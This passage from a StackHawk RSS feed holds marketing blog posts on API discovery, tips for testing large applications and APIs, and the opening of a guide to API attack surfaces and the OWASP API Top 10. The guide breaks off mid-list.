leaders.&lt;/p&gt;&lt;p&gt;APIs are crucial for many businesses&amp;#39; most critical applications, yet maintaining a complete inventory of them can be challenging, with many AppSec leaders worrying about unknown APIs slipping through the cracks.&lt;/p&gt;&lt;p&gt;According to market insights from research analyst Melinda Marks at Enterprise Strategy Group (ESG), “87% of respondents are concerned about shadow and undiscovered APIs, with 38% considering it a significant concern and 49% viewing it as a moderate concern”, as shared in &amp;quot;The Urgency of Addressing API Security in an Application Security Program,&lt;/p&gt;&lt;h2&gt;The Problem with Not Understanding Your Attack Surface&lt;/h2&gt;&lt;p&gt;Not having a clear picture of every API in your attack surface can create blind spots in security coverage, making it difficult to identify and fix vulnerabilities effectively, and accurately report on attack surface coverage, preventing your program from maturing to a &lt;a href=&quot;https://www.stackhawk.com/blog/embracing-the-future-of-security-with-the-shift-left-maturity-model/&quot;&gt;&lt;u&gt;continuously secure status&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;During our beta testing, we found thousands of unknown or untested APIs in StackHawk customers&amp;#39; code bases. By identifying these lesser-known APIs, customers can significantly boost their security coverage and gain insights that would normally take a year to uncover in just minutes.&lt;/p&gt;&lt;h2&gt;How HawkAI Helps&lt;/h2&gt;&lt;p&gt;API Discovery Powered by HawkAI acts like a searchlight, revealing every API in your environment and highlighting the most important ones for security testing. Here’s how it can benefit your team:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enhanced Visibility:&lt;/b&gt; Gain a comprehensive, up-to-date view of all your APIs, regardless of origin. No more surprises from third-party integrations or forgotten internal projects.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security at Ludicrous Speed:&lt;/b&gt; Identify and prioritize your most critical APIs for security testing, and fix security bugs faster with frequent testing earlier in the software delivery lifecycle, preventing breaches before they can happen.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Increased Efficiency:&lt;/b&gt; Automated discovery frees your team from manual inventory management, allowing you to focus on more important tasks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Simplified Compliance:&lt;/b&gt; Ensure all APIs are identified and prioritized for security testing to meet regulatory requirements, with easier reporting for audits.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scalability:&lt;/b&gt; As your business grows, so does HawkAI. It continuously monitors and catalogs new APIs and development changes, keeping you in control.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;i&gt;&amp;quot;Identifying all APIs and managing them has been a challenge. This feature can automate and improve our process.&amp;quot; Lake Setser, Information Security Lead, CommunityAmerica Credit Union&lt;/i&gt;&lt;/p&gt;&lt;h2&gt;HawkAI: Your API Security Butler&lt;/h2&gt;&lt;p&gt;By integrating API Discovery into your workflow, you can achieve unprecedented control and efficiency over your API attack surface. HawkAI ensures your APIs remain secure, compliant, and ready for testing as they evolve.&lt;/p&gt;&lt;h2&gt;Ready to Take Flight?&lt;/h2&gt;&lt;p&gt;Get started with API Discovery today! Sign up for a &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;free trial&lt;/a&gt; or &lt;a href=&quot;https://www.stackhawk.com/solutions/api-discovery/#request-a-demo&quot;&gt;contact us&lt;/a&gt; to learn more about how HawkAI can transform your API security practices.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[5 Tips for Testing Large Applications and APIs]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/5-tips-for-testing-large-applications-and-apis</guid><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;p&gt;Testing applications becomes exponentially more challenging as they grow in size and complexity. Of course, different types of applications, such as microservices or monolithic applications, have subtle differences in testing approaches, as do testing APIs. Developers and AppSec professionals have many tools and techniques to accommodate applications of all sizes. Still, testing large applications at scale is challenging.&lt;/p&gt;&lt;p&gt;Unlike smaller, self-contained applications, larger and more complex applications demand an extensive and multi-faceted testing strategy. The sheer volume of potential interactions and test cases, ensuring seamless integration between components, and testing performance under heavy loads require a very broad skill set to implement. Overall, when testing applications of this caliber and type, developers must comprehensively understand the technical intricacies and the wider business goals the application is servicing.&lt;/p&gt;&lt;p&gt;This blog post will look at various angles of testing applications and APIs at scale. We will examine the unique challenges that larger and more complex applications bring and why testing is integral to building and supporting these apps. Lastly, we will look at five practical tips you can apply to ensure your applications are being tested thoroughly and from multiple angles. Let’s begin by looking at some of the unique challenges of testing at scale.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Unique Challenges of Testing at Scale: How Large Applications and APIs Change the Game&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Testing large applications and APIs is not as easy as scaling up traditional testing methods. At scale, some of these methods can’t deliver the benefits they do in typical, smaller application environments. The intricacies of larger systems and&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-an-api-a-beginners-guide-to-application-programming-interfaces/&quot;&gt; &lt;u&gt;API&lt;/u&gt;&lt;/a&gt; portfolios introduce a distinct set of challenges that demand a more sophisticated, comprehensive approach. Let&amp;#39;s look at the key differences that set large-scale testing apart:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scale and Complexity:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Codebase:&lt;/b&gt; Large applications have extensive codebases with numerous modules, components, and dependencies. This creates a web of potential interactions that must be meticulously tested individually and once integrated with other components.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;User Interactions:&lt;/b&gt; The sheer number of users and the diverse ways they interact with the application introduce many scenarios to consider when creating test cases. This leaves teams to test everything from simple tasks to complex workflows.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Volume:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Data Handling:&lt;/b&gt; APIs often act as conduits for massive amounts of data in terms of storage and transmission. Ensuring this data&amp;#39;s accuracy, integrity, and security throughout its lifecycle (in transit, at rest, within logs, etc.) is critical to maintaining overall security.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Database Interactions:&lt;/b&gt; Testing the application&amp;#39;s ability to efficiently query, update, and retrieve data from potentially massive databases becomes critical. Testing queries and integrations between the code and database for performance and accuracy with larger volumes and data variations is also vital for diagnosing any issues.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integration Points:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Microservices:&lt;/b&gt; Many large applications adopt microservices architectures, where numerous independent services communicate. Mapping out and testing the interactions between components requires a comprehensive understanding of the interdependencies and potential points of failure. In systems with potentially hundreds or thousands of microservices, unit and integration test coverage can become complex to track and achieve.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Third-party Services:&lt;/b&gt; Large applications often rely on external services for functionalities like authentication, payments, or notifications. Testing these integrations demands careful coordination and consideration of potential outages or changes in the third-party APIs. Ensuring that fallback or cases where an error occurs is critical for test cases.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Performance Considerations:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scalability:&lt;/b&gt; Large applications must be designed to handle increasing user loads without sacrificing responsiveness or stability. Load testing and performance monitoring become indispensable to ensure the system scales up to and beyond the anticipated volumes. This becomes exponentially more complex as concurrent users scale into the thousands or even millions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Resilience:&lt;/b&gt; Testing for resilience involves simulating various failure scenarios (e.g., network disruptions and hardware failures) to ensure the application can recover quickly and minimize downtime. Testing disaster recovery and fallback mechanisms across all components (application servers, databases, etc.) requires significant planning when applications are larger and have more elements to consider.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;These challenges highlight why specialized testing strategies, tools, and expertise are needed when dealing with large-scale applications and APIs. As applications have become larger and more complex, application and API testing tools and techniques have also evolved to accommodate these particular challenges. Sometimes, the complexity of testing these applications means that teams forego testing or underestimate the impact of comprehensive testing for these larger applications. Next, we will examine why testing these apps is critical for success.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why Software Testing is Important for Success at Scale&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When building large applications and API portfolios, the impact of potential issues is exponential as the user base or application criticality increases. The stakes are higher, the possible consequences of failure are more significant, and the need for quality assurance and testing is the main barrier between success and failure. Let’s look at a few reasons why testing larger applications comprehensively is essential.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Quality Assurance&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Meeting Expectations:&lt;/b&gt; Large applications are often mission-critical for businesses or serve large user bases. A comprehensive testing strategy ensures that the application and APIs function as intended, meeting both functional and non-functional requirements.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Minimizing Defects:&lt;/b&gt; Identifying and addressing bugs and errors early in development, a key factor in the “&lt;a href=&quot;https://www.stackhawk.com/blog/why-shift-security-left/&quot;&gt;&lt;u&gt;shift left&lt;/u&gt;&lt;/a&gt;” movement, is far more cost-effective than dealing with them in production. Once they’ve made it to production, they can cause significant disruptions, financial losses, and damage to a company’s reputation.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Risk Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Early Issue Detection:&lt;/b&gt; Thorough testing uncovers vulnerabilities, security flaws, and performance bottlenecks before they escalate into major problems. Depending on what component issues are detected, a proactive approach significantly reduces the risk of downtime/outages, data breaches, or system failures.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Protecting Reputation:&lt;/b&gt; News of major software failures spreads rapidly and can create lasting damage to customer trust. Comprehensive testing safeguards the organization&amp;#39;s reputation by ensuring a system is reliable and user experiences and data are secure.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Cost Savings&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Defect Prevention:&lt;/b&gt; Catching issues early during testing cycles helps prevent them from propagating throughout the codebase. Early detection generally makes fixes simpler and less expensive than if the bug is able to reach production. This translates to significant cost savings over the long run.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Optimized Development:&lt;/b&gt; Testing provides rapid feedback to developers, allowing them to identify and rectify issues quickly, streamlining the development process and reducing time-to-market. Catching issues later in development could lead to significant refactors to remedy them, leading to developers spending more time fixing issues. There are also ripple effects for testing that was already completed since it might need to be redone if the refactor touches other parts of the system.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Customer Satisfaction&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Positive User Experience:&lt;/b&gt; A well-tested application delivers a smooth, reliable, and enjoyable experience for users. Users expect a seamless experience and when not delivered, this can lead to bad reviews and other reputational damage. Testing with user experience in mind is critical.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Competitive Advantage:&lt;/b&gt; With such a competitive landscape, software quality can be a key differentiator. A reputation for delivering stable and scalable software can attract and retain customers, giving your organization a significant edge over other applications that might not be tested as thoroughly.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Successful large-scale software development requires attention to detail when it comes to testing. Instead of foregoing or underinvesting in testing larger applications and APIs, you can build applications that are future-proofed and easier to maintain by recognizing the critical role of testing and embracing a comprehensive testing strategy. So, what approaches should you take to ensure that your large applications and APIs get the testing they deserve? Let’s look at five tips to get you down the right path.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;5 Tips for Testing Large Applications and APIs&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;#1: Generate and Maintain Comprehensive API Specifications&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API specifications serve as the blueprint for communication between your application and the outside world. Over the years, various types of API specs have appeared, but all do the same thing: define the contract between the client and the server. They help to outline how data is exchanged, what functionalities the API exposes, and how errors are handled. For large, complex applications and APIs, well-built API specifications are essential for developers to understand the API they are consuming and also for testing tools that use API specifications to create tests.&lt;/p&gt;&lt;p&gt;These specifications should include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Endpoints (URLs and supported HTTP methods)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Request and response formats (typically JSON or XML)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Data types for parameters&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Authentication and authorization mechanisms&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Potential errors that can be returned by an endpoint&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Comprehensive API specs offer numerous benefits, including improved collaboration between teams, faster development, easier testing, and simplified integration for API users. Many API testing tools can use these specs to directly build tests. To create and maintain these, adopt a standard format like&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html&quot;&gt; &lt;u&gt;OpenAPI&lt;/u&gt;&lt;/a&gt; (Swagger), document all aspects thoroughly, use examples, implement versioning for the spec, and consider automating the generation or validation of specifications.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;#2: Ensure Complete API Coverage with Discoverability Tools&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Large applications and APIs may have hundreds or even thousands of endpoints. Ensuring complete test coverage is a challenge, but discoverability tools can automate the process of identifying, documenting, and testing every endpoint, especially those that are undocumented or hidden.&lt;/p&gt;&lt;p&gt;These tools can scan for potential API endpoints via crawling, code analysis, and other mechanisms. The results of&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-api-discovery-everything-you-need-to-know/&quot;&gt; &lt;u&gt;API discovery&lt;/u&gt;&lt;/a&gt; can help identify hidden or undocumented endpoints, generate documentation for each endpoint, and even automatically create test cases. By identifying all endpoints, you can ensure that test coverage is truly sufficient. You may also find that undocumented endpoints aren’t even used so they can be decommissioned, reducing the codebase and number of tests that need to be executed.&lt;/p&gt;&lt;p&gt;Choosing a tool like&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;, Postman, Swagger UI, or Stoplight can bring API discovery into your organization. These tools can help you explore your APIs, document each endpoint, and, in the case of StackHawk, create security test cases to ensure endpoints are secure. Larger API portfolios and apps run a higher risk of having undocumented APIs that lack proper testing, especially when distributed across teams.&lt;a href=&quot;https://www.stackhawk.com/blog/discover-the-best-api-discovery-tools-in-2024/&quot;&gt; &lt;u&gt;API discovery tools&lt;/u&gt;&lt;/a&gt; can help to curb these issues.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;#3: Implement Automated Testing Pipelines&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Manual testing is unsustainable for large applications. Although certain aspects of testing might still be handled manually, automated testing pipelines streamline quality assurance by automatically executing various tests (unit, integration, end-to-end, and&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt; &lt;u&gt;security testing&lt;/u&gt;&lt;/a&gt;) whenever code changes are made. These pipelines, often integrated with version control and CI/CD tools, trigger tests with every commit or merge. This allows developers to write code as they normally would but have automated processes in place to give them feedback.&lt;/p&gt;&lt;p&gt;The benefits of this feedback numerous: faster feedback for developers, improved code quality and security, increased efficiency, better testing coverage, and lower costs when it comes to creating software.&lt;/p&gt;&lt;p&gt;To implement automated testing, there are many tools to pick from, covering various aspects of testing. The first step is to choose a suitable framework or tool (e.g., Selenium, Cypress, JUnit, StackHawk), write comprehensive test cases or configure the tool to do so for you, integrate the tests/tool into your CI/CD pipeline, and analyze any reports generated to address any areas of concern or test failures.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;#4: Use Mock Servers and Virtualization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When it comes to testing large applications and APIs at scale, it’s crucial to simulate real-world scenarios as closely as possible. However, testing in such scenarios can be challenging due to external dependencies. To overcome this, employing mock servers can be advantageous as they simulate external services by returning predefined responses. Additionally, leveraging virtualization helps create isolated environments that mimic production settings. &lt;/p&gt;&lt;p&gt;Combining these techniques allows for consistent testing at scale without the influence of third-party dependencies skewing results due to outages, performance issues, etc. While this approach does minimize the need for frequent integration testing with external services, critical integrations should be tested early and repeatedly. This strategy ensures reliability, speed, flexibility, and isolation in testing. Tests remain reliable even when external services are down, and mock servers facilitate quick response times, enabling easy simulation of all possible test scenarios that include third-party integrations. Virtualization focuses tests on your application&amp;#39;s behavior in isolation. &lt;/p&gt;&lt;p&gt;To build this testing functionality out, utilize tools like WireMock, Mockoon, or Prism to define mock responses and configure virtual environments (e.g., using Docker or Vagrant) for integration into automated tests.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;#5: Incorporate Load Testing and Performance Monitoring&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Large applications must handle heavy traffic loads. As part of a holistic testing process, load testing simulates realistic user traffic to assess performance, while performance monitoring tracks key metrics in production.&lt;/p&gt;&lt;p&gt;This is crucial for ensuring scalability, reliability, and a positive user experience. Load testing helps identify bottlenecks and optimize for peak traffic, while monitoring allows for proactive detection of performance issues.&lt;/p&gt;&lt;p&gt;Select load testing tools like JMeter, LoadRunner, or Gatling. Define realistic test scenarios, execute tests with increasing loads, analyze the results, and implement performance monitoring tools (e.g., New Relic, Datadog, Prometheus) in production.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Using StackHawk to Test Large Applications and APIs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When it comes to large-scale applications and APIs, attack surfaces can be vast, and the potential for vulnerabilities is high. Ensuring that an application is secure is critical for performance and customer trust, especially as a user base expands or an application becomes mission-critical for users.&lt;/p&gt;&lt;p&gt;This is where StackHawk steps in with its modern&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;u&gt;dynamic application security testing&lt;/u&gt;&lt;/a&gt; (DAST) platform and API testing tool suite, leveraging cutting-edge technology to proactively identify and address security risks, including extensive REST API testing capabilities.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;How StackHawk Enhances Application and API Testing&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Discoverability:&lt;/b&gt; One of the key challenges in testing large applications is ensuring comprehensive coverage of all API endpoints. StackHawk&amp;#39;s automated API discovery feature, powered by HawkAI, scans your repositories to identify all available APIs, including those that might be undocumented or hidden. Adding this to your API testing process ensures that your security and performance testing efforts are comprehensive and leave no endpoint untested.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Security Testing:&lt;/b&gt; StackHawk&amp;#39;s intelligent testing simulates real-world attacks against your APIs. Use API tests to identify vulnerabilities such as injection attacks,&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt; &lt;u&gt;cross-site scripting&lt;/u&gt;&lt;/a&gt; (XSS), insecure deserialization, and more. By using API test automation, StackHawk saves you valuable time and effort, allowing you to focus on building features while ensuring your application and APIs remain secure.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;CI/CD Integration:&lt;/b&gt; StackHawk integrates seamlessly into your CI/CD pipeline, enabling you to automate security and performance testing with every code change or deployment. This continuous testing approach ensures that vulnerabilities and performance issues are identified and addressed early in the development cycle before they have the chance to reach production.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The complexities of testing large applications and APIs demand a strategic and comprehensive approach. Depending on the scale and complexity of an application or portfolio of APIs, testing can become exponentially tougher to ensure that it is holistic and covers every angle. By using the five essential tips we talked about in this guide, building large-scale software that is not only functionally sound but also resilient, secure, and performant is easier than one might think. As your application and APIs evolve, testing practices must evolve alongside it. Embrace automation, utilize the right tools, and foster a culture of quality and secure coding practices.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Ready to take your large application and API testing to the next level? &lt;/b&gt;Plug in StackHawk into your testing stack to ensure your&lt;a href=&quot;https://www.stackhawk.com/solutions/getting-started-with-appsec/&quot;&gt; &lt;u&gt;applications are secure&lt;/u&gt;&lt;/a&gt; from the most critical threats. Add StackHawk into CI/CD to test and deliver reports to developers so they can find, triage, and fix defects before they have a chance to hit production. &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up today and try StackHawk out for 14 days for free.&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How To Discover Your API Attack Surface]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/api-attack-surface</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;p&gt;APIs (Application Programming Interface) are the glue of most applications, making functionalities and data communication possible. Powering everything from mobile and web apps to complex enterprise systems, APIs are the most critical part of modern applications. But as their use explodes, so does their potential to be attacked. An API call that exploits a single API vulnerability can expose sensitive data, disrupt services, or even destroy entire infrastructures.&lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll unpack&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-best-practices-ultimate-guide/&quot;&gt; &lt;u&gt;API security&lt;/u&gt;&lt;/a&gt; and API attack surfaces in a practical and informative way. We&amp;#39;ll define key terms, explore common API attack vectors and the vulnerabilities they prey on, and provide strategies to protect your API ecosystem. Whether you&amp;#39;re an AppSec pro or a developer, understanding and mitigating these risks is crucial to building secure web applications.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding API Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Before we discuss API attacks and vulnerabilities in detail, let&amp;#39;s establish a solid foundation by defining the core concepts of API security.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;What is API Security?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;At its core, API security is a set of practices designed to protect APIs from unauthorized access, misuse, and attacks. It encompasses everything from authentication and authorization mechanisms to data encryption and input validation. API security is critical to API development, deployment, and support.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Importance of API Security in Modern Applications&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The reliance on APIs makes their security crucial. When an API is compromised, it can impact technical and business operations heavily. When an API attack is successful, organizations can expect:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data breaches:&lt;/b&gt; Exposure of sensitive user information or confidential business data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Service disruptions:&lt;/b&gt; Denial of service attacks or malicious activities can disrupt API availability.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Financial losses:&lt;/b&gt; The cost of recovering from a security incident can be substantial.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Reputation damage:&lt;/b&gt; A security breach can erode customer trust and harm your brand&amp;#39;s image.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Because of these implications, API security should be a top priority for every organization. Foregoing preventative measures to secure APIs and robust monitoring are risks that shouldn&amp;#39;t be taken. To ensure that APIs are well secured, the first step is to understand your API attack surface. Let&amp;#39;s dig into what that means.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The API Attack Surface&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Understanding the API attack surface is like mapping the perimeter of a network. It reveals all the potential entry points where malicious actors might try to breach your defenses. Let&amp;#39;s look at the key components of this critical API security aspect.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Definition of an Attack Surface&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In the context of API security, the attack surface area refers to the total sum of all vulnerabilities and weaknesses that could be exploited by attackers. It encompasses both the technical aspects of the API implementation and the surrounding infrastructure.&lt;/p&gt;&lt;p&gt;An API&amp;#39;s attack surface consists of various elements that attackers can target, such as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Endpoints and Methods:&lt;/b&gt; These are the specific URLs and actions (GET, POST, PUT, DELETE, etc.) that clients use to interact with the API. If not properly secured, API calls can be exploited to access sensitive data or manipulate the API&amp;#39;s functionality.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Parameters:&lt;/b&gt; The data clients send in an API request, such as form fields or query parameters, can be manipulated to inject malicious code or trigger unintended behavior.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authentication and Authorization:&lt;/b&gt; These mechanisms control who can access the API and what they can do. Weak authentication can allow attackers to impersonate legitimate users, while flawed authorization can grant excessive privileges.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Storage:&lt;/b&gt; The databases and other systems where the API stores data can be targeted for unauthorized access or modification.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Network Infrastructure:&lt;/b&gt; The servers, routers, and firewalls that support the API can be attacked to disrupt its availability or intercept data in transit.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The attack surface encapsulates every piece of the API code, implementation, and infrastructure. So how does this relate to API security?&lt;/p&gt;&lt;h3&gt;&lt;b&gt;How an Attack Surface Relates to API Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The concept of the attack surface is fundamental to API security because it highlights that security is not just about protecting a single point of entry. It&amp;#39;s about securing every potential avenue of attack, from endpoints to configuration settings.&lt;/p&gt;&lt;p&gt;By having a holistic understanding of the attack surface, you can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Prioritize Risks:&lt;/b&gt; Identify the most critical vulnerabilities and address them first.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Implement Layered Security:&lt;/b&gt; Deploy multiple security mechanisms to create a defense-in-depth strategy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Monitoring:&lt;/b&gt; Regularly assess all angles of the attack surface for new vulnerabilities and adapt your security measures accordingly.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;It&amp;#39;s important to note that the attack surface is not static, so the API security approach needs to be dynamic. This dynamic nature results from API changes to code and infrastructure and new threats emerging. Therefore, education, ongoing vigilance, and proactive security measures are essential to keeping your APIs safe. Next, let&amp;#39;s look closer at API security risks and vulnerabilities.&lt;/p&gt;&lt;h2&gt;
&lt;b&gt;API Security Risks and Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API code and infrastructure are complex, leading to a complex attack surface. This diverse attack surface creates numerous security risks and vulnerabilities. Understanding these risks is crucial for prioritizing mitigation efforts and establishing effective security practices. Regarding vulnerabilities, we will look at the OWASP API Top 10 and then dig further into one of the most common areas for security gaps in APIs: authentication and authorization flaws.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;OWASP Top 10 API Security Risks (2023)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The&lt;a href=&quot;https://www.stackhawk.com/blog/10-web-application-security-threats-and-how-to-mitigate-them/&quot;&gt; &lt;u&gt;Open Web Application Security Project (OWASP)&lt;/u&gt;&lt;/a&gt; lists the top 10 most critical API security risks. In 2023, OWASP released a new iteration of the list they started in 2019 to align with the latest issues being observed. These include:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/understanding-and-protecting-against-api1-broken-object-level-authorization/&quot;&gt;&lt;b&gt;&lt;u&gt;Broken Object Level Authorization&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Unauthorized access to resources due to insufficient object-level authorization checks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/net-broken-authentication-guide-examples-and-prevention/&quot;&gt;&lt;b&gt;&lt;u&gt;Broken Authentication&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Flaws in authentication mechanisms allowing attackers to compromise authentication tokens or assume other users&amp;#39; identities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Broken Object Property Level Authorization:&lt;/b&gt; Inadequate authorization controls at the property level, allowing attackers to gain unauthorized access or modification of object properties.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unrestricted Resource Consumption:&lt;/b&gt; Lack of resource and rate limiting, leading to denial of service (DoS) attacks or excessive resource usage.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/understanding-and-protecting-against-api5-broken-function-level-authorization/&quot;&gt;&lt;b&gt;&lt;u&gt;Broken Function Level 